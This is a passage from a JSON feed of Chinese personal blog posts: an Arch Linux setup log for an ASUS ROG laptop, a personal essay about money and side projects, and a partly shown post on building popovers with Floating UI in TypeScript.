[…]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/85"},{"title":"由求完数的经典OJ题引发的思考","time":"2021-10-26T10:26:13Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eXD-OJ T30 标题: 完数 类别: 时间限制: 2 S 内存限制: 10000 Kb 问题描述: 请写一 […]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/56"},{"title":"书摘其一","time":"2021-10-24T03:11:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e我哭着喊冷,喊饿,爷爷默默地看着我,终于下了决心,拿出了他珍藏的勋章,带着我走了出去,来到这里。那时这儿是自由 […]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/40"}]},{"name":"Reverier's Blog","email":"","uri":"https://blog.woooo.tech/","description":"Creating reality with idealism.","article":[{"title":"GU604VI折腾日记","time":"2023-06-22T18:40:19+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前情提要\"\u003e前情提要\u003c/h2\u003e\n\u003cp\u003e接\u003ca href=\"https://blog.woooo.tech/posts/asus_linux_1/20230514.md\" rel=\"\"\u003e上文\u003c/a\u003e,新电脑有了,攒了一整年用来毕业旅行的钱换的。\u003c/p\u003e\n\u003ch2 id=\"电脑配置\"\u003e电脑配置\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eMODEL: ROG Zephyrus M16 GU604VI_GU604VI 1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCPU: 13th Gen Intel i9-13900H (20) @ 5.200GHz\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eGPU: NVIDIA GeForce RTX 4070 Max-Q / Mobile\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eMEM: 32GB\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDISK 1: HFS001TEJ9X101N 1TB\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDISK 2: ZHITAI Ti7100 2TB\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e挺不错的,打算当主力机用个四五年,本文主要记录一下在这个本上装 Arch Linux 所做出的一些努力。\u003c/p\u003e\n\u003ch2 id=\"安装过程\"\u003e安装过程\u003c/h2\u003e\n\u003cp\u003e总体来说没出什么幺蛾子,照着 \u003ca href=\"https://wiki.archlinux.org/title/Installation_guide\" target=\"_blank\" rel=\"noopener noreffer \"\u003eWiki\u003c/a\u003e 配就可以了。如果在 archiso 那里就卡显卡了,需要在内核参数里加上 \u003ccode\u003enouveau.modeset=0\u003c/code\u003e,然后重新启动。\u003c/p\u003e\n\u003cp\u003e桌面环境这里我继续选用了 KDE Plasma on Wayland,但是安装完成之后怎么都没法启动,一直以为是显卡问题…… 排查到最后发现是因为没装 \u003ccode\u003eXWayland\u003c/code\u003e,装上之后就好了,检查 \u003ccode\u003ejournalctl -b -1\u003c/code\u003e 查看上次开关机 log,相关日志如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch dbus-daemon[825]: [session uid=1000 pid=825] Activating via systemd: service name=\u0026#39;org.freedesktop.impl.portal.desktop.kde\u0026#39; unit=\u0026#39;plasma-xdg-desktop-portal-kde.service\u0026#39; requested by \u0026#39;:1.6\u0026#39; (uid=1000 pid=849 comm=\u0026#34;/usr/lib/xdg-desktop-portal\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: No backend specified, automatically choosing drm\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch dbus-daemon[572]: [system] Successfully activated service \u0026#39;org.freedesktop.UPower\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch systemd[1]: Started Daemon for power management.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch baloo_file[835]: QDBusConnection: name \u0026#39;org.freedesktop.UDisks2\u0026#39; had owner \u0026#39;\u0026#39; but we thought it was \u0026#39;:1.31\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch baloo_file[835]: QDBusConnection: name \u0026#39;org.freedesktop.UPower\u0026#39; had owner \u0026#39;\u0026#39; but we thought it was \u0026#39;:1.34\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL vendor string: Intel\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL renderer string: Mesa Intel(R) Graphics (RPL-P)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL version string: 4.6 (Core Profile) Mesa 23.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL shading language version string: 4.60\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Driver: Intel\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GPU class: Unknown\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL version: 4.6\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GLSL version: 4.60\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Mesa version: 23.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Linux kernel version: 6.3.8\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Requires strict binding: no\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GLSL shaders: yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Texture NPOT support: yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Virtual Machine: no\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_core: Parse error in tiles configuration for monitor \u0026#34;32593100-170c-5758-be7c-15262ca65916\u0026#34; : \u0026#34;illegal value\u0026#34; Creating default setup\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xkbcommon: XKB: inet:323:58: unrecognized keysym \u0026#34;XF86EmojiPicker\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xkbcommon: XKB: inet:324:58: unrecognized keysym \u0026#34;XF86Dictate\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xwl: Xwayland process failed to start\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:22 Reverier-Arch systemd[1]: Stopping User Manager for UID 973...\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:23 Reverier-Arch systemd[641]: Activating special unit Exit the Session...\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"内核和显卡驱动\"\u003e内核和显卡驱动\u003c/h2\u003e\n\u003cp\u003e最开始我直接使用的官方 Linux 内核,log 里小问题,不断,于是按照 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 这里的提供的内核安装了 \u003ccode\u003elinux-g14\u003c/code\u003e,以及一系列配套工具 \u003ccode\u003easusctl\u003c/code\u003e 等等,并开启了相关服务。显卡驱动使用 \u003ccode\u003envidia-dkms\u003c/code\u003e,显卡调度等功能使用了 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 提供的 \u003ccode\u003esupergfxctl\u003c/code\u003e,这是我目前见到过的最完美的显卡方案,你不用显卡他真的就不转。\u003c/p\u003e\n\u003ch2 id=\"电源管理\"\u003e电源管理\u003c/h2\u003e\n\u003cp\u003e电源管理依旧使用ASUS Linux解决方案,不过这个工具会默认给电池最大充电量限制到80%,这样可以延长电池寿命。于是我没怎么动,在实际使用体验中,80%电量大概可以用4个小时,也算舒心。\u003c/p\u003e\n\u003ch2 id=\"声音\"\u003e声音\u003c/h2\u003e\n\u003cp\u003e这台电脑有四个扬声器,两个是低音扬声器两个高音扬声器,其中两个低音扬声器需要额外靠电池供电,高音扬声器直接靠声卡供电,这就导致了在 Linux 默认声卡之下,只有两个高音扬声器能用,而且声音很小,低音扬声器完全没声音。我在网上搜了搜,似乎大伙在装了 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 的内核之后,声音就能用了,但是我这里并没有,找来找去找到一个\u003ca href=\"https://forums.linuxmint.com/viewtopic.php?t=394616\" target=\"_blank\" rel=\"noopener noreffer \"\u003e帖子\u003c/a\u003e,原因可能单纯是这设备太新了,所以暂时没有适配方案。楼主最终自己patch了BIOS和内核,我差点以为我也要这么干,但最终在ASUS Linux的Discord群里问了几句,发现\u003ccode\u003elinux-g14\u003c/code\u003e其实已经带有这个patch了,我只需要修改一下ACPI tables即可。\u003c/p\u003e\n\u003cp\u003e根据 \u003ca href=\"https://gist.github.com/lamperez/d5b385bc0c0c04928211e297a69f32d7\" target=\"_blank\" rel=\"noopener noreffer \"\u003eLoad custom ACPI tables\u003c/a\u003e 这里的过程,我最终构建出了一个 \u003ccode\u003epatched_acpi_tables.cpio\u003c/code\u003e,并将其加到grub引导参数中,这样就能让内核加载这个补丁了。\u003c/p\u003e\n\u003cp\u003e可能是由于型号不太匹配的原因,这么做之后音响能听了,但是音质很奇怪,听起来就好像大过年去姥姥家吃年夜饭,隔壁有个上世纪的收音机在放春晚一样。不过我大部分时间都戴着耳机,音响能响就行。我看linux主线也在推进 ALC 285 芯片相关驱动,没准等一段时间上游就给修好了。\u003c/p\u003e\n\u003ch2 id=\"掉盘风波\"\u003e“掉盘”风波\u003c/h2\u003e\n\u003cp\u003e新电脑自带了一块1T的海力士,如果双系统的话不太够用。正好赶上长江消防队给固态价格完全干下来了,于是打算支持一下国货,入了ZHITAI TiPlus 7000 2TB版本。这块固态没有缓存,在网上查了查风评甚好,就入了。\u003c/p\u003e\n\u003cp\u003e结果三天掉了两次盘,具体表现是用着用着系统突然死了,无法新建任何进程,机器上的硬盘灯直接灭了。journal log由于需要持久化存储到硬盘上,因此log也没看见。我以为我是那个掉盘倒霉蛋,但其实并不是,我只要长按电源键重启电脑,硬盘是可以直接识别的。这跟掉盘的表现不太一样,掉盘的话再次开机应该会直接不识盘,等待主控自行修复完成之后才能正常挂载开机。但是我这里只要强制重启了就一定能跑,这就很奇怪了。最后找到了\u003ca href=\"https://lore.kernel.org/all/82fa489d-a14b-58d9-7bd9-67418a02a0d3@nvidia.com/t/\" target=\"_blank\" rel=\"noopener noreffer \"\u003e这个\u003c/a\u003e和\u003ca href=\"https://www.spinics.net/lists/stable/msg645104.html\" target=\"_blank\" rel=\"noopener noreffer \"\u003e这个\u003c/a\u003e,确认了是硬盘深度休眠结果直接睡死了。\u003c/p\u003e\n\u003cp\u003e遂禁用掉最深的休眠状态,问题就消失了。\u003c/p\u003e\n\u003ch2 id=\"容器\"\u003e容器\u003c/h2\u003e\n\u003cp\u003e本来是想继续用Docker的,后来看了看podman,无守护进程的设计感觉还不错,于是就搞了podman,甚至还装了一个k3s(但是一次也没用到)。\u003c/p\u003e\n\u003cp\u003e目前用起来唯一的问题是podman没有守护进程,因此每次开机之后无法恢复之前的容器运行状态,得手动启动一下。对于一些必要服务,倒也有解决方案:用systemd来启动。例如:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003epodman generate systemd --new --name 服务名 -f\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e可以生成一个systemd服务文件,复制到systemd文件夹下然后作为用户自启任务即可。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/asus_linux_1/"},{"title":"驴和他的烂磨盘","time":"2023-05-14T22:58:00+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e心情又很不好了,写点乱七八糟语无伦次的东西。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e写这篇博客的时候,我电脑上正开着一个CLion,一个浏览器和一个neovim,老伙计那喷气式直升机一样的声音和一晃三卡的鼠标指针让我有点难绷。再加上半夜调前端又被js的神奇特性摆了一道,越想越难受。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e从去年开始,这台陪了我四年的老伙计有点力不从心了。先是BIOS经常卡着不能开机,本来想着返厂,但是厂商技嘉已经跑路了。有朋友提了一句是不是内存条氧化了?于是给电脑拆开擦了擦,又成了,但那时已经有换电脑的心思了。彼时我手里的几个项目似乎都有赚点钱的希望,于是水群的时候经常跟群友做梦说:“等xxxx的钱下来了我要给装备换个新” 之类的,群友锐评:“你好像那个什么驴,有钱了第一件事是换个好磨”。结果到了年初,项目烂尾了一个,杳无音讯了一个,还剩一个给学校写的CTF平台不知道能拿多少钱,于是时常挂在嘴边的变成了 “等xxx的钱下来了至少把这电脑换了”。后来平台的钱下来了,但没完全下来,按月发三年,每个月倒是够生活费了。彳亍,好磨也换不成了,给桌面环境精简一下,该删的删一删,再凑合几年吧。\u003c/p\u003e\n\u003cp\u003e我的经济情况一直都不怎么样,但是不管怎么说,能过。大概在大二结束的时候,因为在社团干活,学院每个月会给发一点钱,慢慢地攒起来了一些,后来就不找家里要生活费了。因为平时没什么花销,顶多出去吃顿好的多花一点,这点劳务费够用,还能存点。存了一笔钱之后,就咬咬牙给手机换了,然后继续存。去年暑假的时候去华为实习了两个月,那点工资交了房租就不剩什么了。手里常驻两三千块钱,吃饭应急什么的全靠这些。\u003c/p\u003e\n\u003cp\u003e直到前些天,和朋友一起出去吃顿饭,付账的时候看了眼余额,心里算了算如果不出去玩的话,似乎吃到月底就破产了。紧接着隔壁社团活动要整个登记网站,就托管在我这儿,完事之后云服务商账单+500,还没付呢,付了吃不起饭了。然后想想,似乎学校很久没有发劳务费了。(其实我心里是不赞成发劳务费的,社团的带伙本就是靠着兴趣聚在一起搞搞技术,一旦跟钱扯上关系各种味道就变了,但是不发劳务费之后,我好像没有经济来源了。)于是开始想办法整点额外收入,于是开始接一些外包的小项目之类的,一单几百块或者多点的一千块,也算是有生活费了,但是时时刻刻都在计划经济,买瓶椰汁都得想想。\u003c/p\u003e\n\u003cp\u003e为什么会这样呢,好像那个什么骆驼祥子。\u003c/p\u003e\n\u003cp\u003e……\u003c/p\u003e\n\u003cp\u003e晚上被群友翻到了很久以前写的周报。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好像是成功了。\u003c/p\u003e\n\u003cp\u003e……\u003c/p\u003e\n\u003cp\u003e我这些年真的写了好多东西啊。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e有个别大点的项目,不过大部分都是些灵光一闪的小玩具和作业,不复杂,但好使。\u003c/p\u003e\n\u003cp\u003e还有一些为了社团活动写的各种网站,活动结束了也关服删档了,找不着图了。\u003c/p\u003e\n\u003cp\u003e想来我还是有点执行力的,愿意为了一个突然冒出来的点子和杠劲在电脑前面肝上三四个月,学门新技术,然后跟各种奇怪的bug/feature斗争许久,每天深夜和各种库的维护者吵架。三年过去了,issue里吵过架的开发者有的财富自由了,有的受不了维护工作 归档仓库享受生活了,剩个我跟三年前一样,遇到事情只会搜StackOverflow,只会抛issue,长时间没人理就自个瞎jb改半天,提个自以为是的pr等review。\u003c/p\u003e\n\u003cp\u003e每当我想买点什么的时候,我会想一想我配吗,我生产的价值值得我去买这样一个东西吗。这台老伙计,19年的i7+2070,大概算很高配的东西,花了近1w8大洋,曾经期待着能用个六七年,如今四年过去就不太彳亍了。不过综合考量一下我自认为还是能值回这笔钱的,上述图里的某个项目成交价大概能买几十个它,但是我见不着多少钱,甚至不能换个好磨盘。\u003c/p\u003e\n\u003cp\u003e真好笑。就像我办场比赛累死累活,最后颁奖仪式不会有半个字致谢我一样。感觉生活应该是很光明的,前途看起来是很不错的,可是为什么会这样呢,恋爱什么的我都不敢想了,一方面我真的没有精力再操心,另一方面谈上一个星期可能就给我干破产了。偶尔和朋友一起吃个饭,跟课题组一起出去玩一玩,大概就是我这段生命里最美好的时光了。我小时候经常因为遭受到不公平待遇之后被批评不够吃苦不够努力才会这样,现在我很少找人帮忙,大部分时候会一个人肝完所有事情,有人能想起来我是好的,想不起来也无所谓,我离了谁都可以活下去,都可以靠谱的把事情做完,这样总足够了吧。\u003c/p\u003e\n\u003cp\u003e我希望我能做点什么改善现状,而不是只会在群里骂这个骂那个,动不动抽象讽刺,除了传递负面情绪之外屁用没有。我希望能用我自己的努力创造一个更好的环境,我对生活质量的要求很低,我可以过得不好,我可以不过节日,我可以蒙上双眼不去看高档生活是什么样子,但我不想看到我亲手创造的价值去向不明。\u003c/p\u003e\n\u003cp\u003e理想主义者总是负重前行,但我似乎得想想,我背着的究竟是什么东西。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/20230514/"},{"title":"如何在前端弹出来一个框","time":"2023-04-10T20:49:27+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e目前 Cyber Terminal 前端的基础样式解决方案是\u003ccode\u003etailwindcss\u003c/code\u003e,配合 \u003ccode\u003edaisy UI\u003c/code\u003e 和我自己封装的一套 \u003ccode\u003eRxUI\u003c/code\u003e 勉强凑合着用。\u003ccode\u003edaisy UI\u003c/code\u003e 的设计理念是纯 CSS 实现,不掺杂任何的 JavaScript 代码,我挺喜欢这种实现方式,纯 CSS 实现的用户界面比掺杂了 JS 的界面总是让人更放心一点。但是 CSS 终究是没有 JS 强大的,它只是一套静态布局系统,这就导致了一系列的用户体验问题。\u003c/p\u003e\n\u003cp\u003e比如说一个简单的弹出框。在 \u003ccode\u003edaisy UI\u003c/code\u003e 的解决方案中,他们使用了元素的 \u003ccode\u003efocus\u003c/code\u003e 状态,配合 CSS 选择器来显示弹出元素。这乍一听好像挺符合设计思想的,但是用的时候就出现了一堆问题。为了保证元素正确加载,在未显示的情况下,弹出元素上设置的并不是 \u003ccode\u003edisplay: none\u003c/code\u003e,而是 \u003ccode\u003evisibility: hidden\u003c/code\u003e,这就导致弹出元素即使在未显示的状态下也占据了实际空间的,只是不可见而已,可能会在某些情况下打乱布局。\u003c/p\u003e\n\u003cp\u003e比如,我想要实现一个可滚动的 \u003ccode\u003eTable\u003c/code\u003e 组件,在表格的每一列上我都放置了一系列操作按钮,对于比较危险的操作,例如删除,会有一个弹出框让用户进行二次确认。这个时候问题就来了,由于弹出框在未显示的情况下也是占据空间的,最后一列上的弹出框就会继续向下拓展,就导致了表格滚动到最后一列后还能继续向下滚动一段距离,看起来很奇怪。\u003c/p\u003e\n\u003cp\u003e问题还不止这一点,由于 CSS 没有类似于 \u003ccode\u003efloating\u003c/code\u003e 的功能,元素是无法探查可视边界的。Table 组件默认可滚动,导致内部元素的溢出行为是\u003ccode\u003eclip\u003c/code\u003e,于是把溢出窗口的对话框一起给切了。不只是对话框,还有 \u003ccode\u003etooltip\u003c/code\u003e 之类的东西,会变成这个样子:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e嘛……虽然应该没人拿宽度这么巧的设备打CTF……但是这个行为太蠢了,我写的时候得时时刻刻注意着弹出位置,放左边溢出了,放右边也溢出了,放下边好消息是没溢出,坏消息是给滚动条撑起来了……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e于是我就开始找解决方案,找着找着找到了Microsoft在油管上发的\u003ca href=\"https://www.youtube.com/watch?v=yhzAn4A1gbk\" target=\"_blank\" rel=\"noopener noreffer \"\u003eFluent UI Design相关视频\u003c/a\u003e。他们最终选了 \u003ca href=\"https://popper.js.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003epopper.js\u003c/a\u003e 作为弹出式组件的解决方案。但是……这个组件只有 React 框架的集成方案,Vue 的几个第三方集成方案都不太好使了。\u003c/p\u003e\n\u003cp\u003e还是自己写吧……\u003c/p\u003e\n\u003cp\u003e最终选用了 Floating UI 作为实现方案,按照svelte的生命周期简单包装了一下。相关API参考都在这里了:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdate\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eflip\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@floating-ui/dom\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/** Placement https://floating-ui.com/docs/computePosition#placement */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;top\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;left\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;right\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"nx\"\u003ePlacement\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e-start`\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e-end`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Options \u0026amp; Middleware\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003einterface\u003c/span\u003e \u003cspan class=\"nx\"\u003eMiddleware\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Required ---\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"cm\"\u003e/** Offset middleware settings: https://floating-ui.com/docs/offset */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eoffset?\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nx\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Shift middleware settings: https://floating-ui.com/docs/shift */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eshift?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e 